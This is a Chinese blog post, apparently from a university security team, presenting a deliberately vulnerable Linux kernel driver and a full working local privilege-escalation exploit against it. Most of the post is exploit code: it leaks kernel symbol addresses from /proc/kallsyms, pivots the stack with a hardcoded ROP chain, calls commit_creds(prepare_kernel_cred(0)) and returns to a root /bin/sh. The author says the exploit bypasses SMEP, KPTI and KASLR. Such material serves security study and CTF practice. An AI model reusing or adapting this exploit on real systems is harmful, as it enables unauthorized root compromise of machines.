随便水一篇吧
直接上代码:
static int device_open(struct inode *, struct file *);
static long device_ioctl(struct file *, unsigned int, unsigned long);
static int device_release(struct inode *, struct file *f);
static struct class *class;
unsigned long *ops[3];
static int major_no;
static struct file_operations fops = {
.open = device_open,
.release = device_release,
.unlocked_ioctl = device_ioctl
};
static int device_release(struct inode *i, struct file *f) {
printk(KERN_INFO "device released!n");
return 0;
}
static int device_open(struct inode *i, struct file *f) {
printk(KERN_INFO "device opened!n");
return 0;
}
static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) {
struct drv_req *req;
void (*fn)(void);
switch(cmd) { //这里必须为0
case 0:
req = (struct drv_req *)args; //漏洞点
printk(KERN_INFO "size = %lxn", req->offset);
printk(KERN_INFO "fn is at %pn", &ops[req->offset]);
fn = &ops[req->offset]; //漏洞点,溢出。
fn(); //漏洞很明显,直接任意代码执行,但只有一句,所以我们要扩大利用面
break;
default:
break;
}
return 0;
}
static int m_init(void) {
printk(KERN_INFO "addr(ops) = %pn", &ops);
major_no = register_chrdev(0, DEVICE_NAME, &fops);
class = class_create(THIS_MODULE, DEVICE_NAME);
device_create(class, NULL, MKDEV(major_no, 0), NULL, DEVICE_NAME);
return 0;
}
static void m_exit(void) {
device_destroy(class, MKDEV(major_no, 0));
class_unregister(class);
class_destroy(class);
unregister_chrdev(major_no, DEVICE_NAME);
printk(KERN_INFO "Driver unloadedn");
}
module_init(m_init);
module_exit(m_exit);
MODULE_LICENSE("GPL");
漏洞很简单,内核执行了我们在ops地址偏移一定位置的代码。直接上代码。
struct drv_req {
unsigned long offset;
}req;//创建结构体,方便内核读取数据
void shell(){
system("/bin/sh");
}
size_t user_cs, user_ss, user_rflags, user_sp, ops;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}//首先从ctfwiki拷贝一份内核保存用户地址的代码
void find_ops(){
FILE *fd;
fd=fopen("/sys/module/drv/sections/.bss","r");
if(!fd)exit(0);
fscanf(fd,"%p",&ops);
printf("find ops:%pn",ops);
fclose(fd);
return;
}//在内核中获取我们驱动的漏洞点地址
unsigned long find_sym(char * name){
FILE *fd;
int ret;
unsigned long addr;
char flag,sym[1024];
fd = fopen("/proc/kallsyms","r");
printf("open kallsymsn");
if(!fd)return 0;
do{
ret = fscanf(fd,"%p %c %sn",&addr,&flag,sym);
if(!strcmp(name,sym)){
printf("%saddr is:%pn",sym,addr);
fclose(fd);
return addr;
}
}while(ret!=EOF);
printf("can not findn");
fclose(fd);
return 0;
}//在内核中获取函数的地址
int main(){
int f;
find_ops();
//一些gadget
unsigned long * fake_stack,mmap_stack;
unsigned long * stack;
unsigned long xchg_esp_eax_ret_0x61e8=0xffffffff81735478;
unsigned long xchg_esp_eax_ret=0xffffffff81000085;
unsigned long pop_rdi=0xffffffff8119e39d;
unsigned long xchg_rcx_rax_ret=0xffffffff81926310;
unsigned long push_rax_pop_rcx_pop_rbp_ret=0xffffffff8101c97c;
unsigned long prepare_kernel_cred = find_sym("prepare_kernel_cred");
unsigned long push_rbp_pop_rdi_ret=0xffffffff811d38e7;
unsigned long push_rax_pop_rbp_ret=0xffffffff8105f17b;
unsigned long pop_rcx_ret=0xffffffff810055dc;
unsigned long commit_creds=find_sym("commit_creds");
unsigned long pop_rsp_ret=0xffffffff813fe41a;
unsigned long pop_rax_ret=0xffffffff8100b62e;
unsigned long swapgs_pop_rbp_ret=0xffffffff81051744;
unsigned long iretq=0xffffffff81733140;
fake_stack=(int)xchg_esp_eax_ret_0x61e8&0xffffffff;
mmap_stack=(int)fake_stack&0xffff0000;
printf("fake_stack :%pn",fake_stack);
printf("offset :%pn",xchg_esp_eax_ret_0x61e8-ops);
printf("offset int:%pn",(xchg_esp_eax_ret_0x61e8-ops)/8);
req.offset = (unsigned long)(xchg_esp_eax_ret_0x61e8-ops)/8;//核心,进行栈迁移
stack = mmap(mmap_stack,0x100000,7,0x32,0,0);
printf("stack is :%pnfake_stack is :%p",stack,fake_stack);
//接下来构造内核使用的栈,这是个自己构造的栈
fake_stack=(unsigned long *)fake_stack;
*fake_stack = 0;//无用,跳转过来从下一条执行
*fake_stack++= pop_rdi;
fake_stack+=0x61e8/8;
*fake_stack++=0;
*fake_stack++=prepare_kernel_cred;//执行prepare_kernel_cred(0)
*fake_stack++=push_rax_pop_rbp_ret;
*fake_stack++=pop_rcx_ret;
*fake_stack++=0xffffffffecccd3df;
*fake_stack++=pop_rax_ret;
*fake_stack++=fake_stack+3;
*fake_stack++=push_rbp_pop_rdi_ret;
*fake_stack++=xchg_esp_eax_ret;
*fake_stack++=commit_creds;//执行commit_creds(prepare_kernel_cred(0))
*fake_stack++=swapgs_pop_rbp_ret;//接下来返回用户空间拿高权限shell
*fake_stack++=fake_stack;
*fake_stack++=iretq;
*fake_stack++=shell;
f=open(DEVICE_PATH,O_RDONLY);
if (f == -1) {
perror("open");
}
save_status();
*fake_stack++=user_cs;
*fake_stack++=user_rflags;
*fake_stack++=user_sp;
*fake_stack++=user_ss;
ioctl(f, 0, &req);
}
ok了,代码就是这么简单,但这里注明,此exp咬合非常紧,除了fakestack第一句可以填随意数据外,其他数据不要篡改。实测,能绕过大部分安全措施,包括smep,kpti,kaslr(这个测试是可以的,但总感觉有问题)。但因为环境缺少源代码,盲猜FGKASLR没办法绕过(没试过,因为内核已经生产,没有完整的配置文件),其中难以绕过的点是smap和kptrrestrict,本来有个思路能进行一部分绕过的,但我查了1星期多才发现,这个漏洞被x86_64架构堵上了,在64位没办法使用,在32位下有可能进行绕过,以后再想其他办法。有什么问题可以直接联系我
有什么问题可以直接联系我
原文始发于微信公众号(广软NSDA安全团队):简单提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论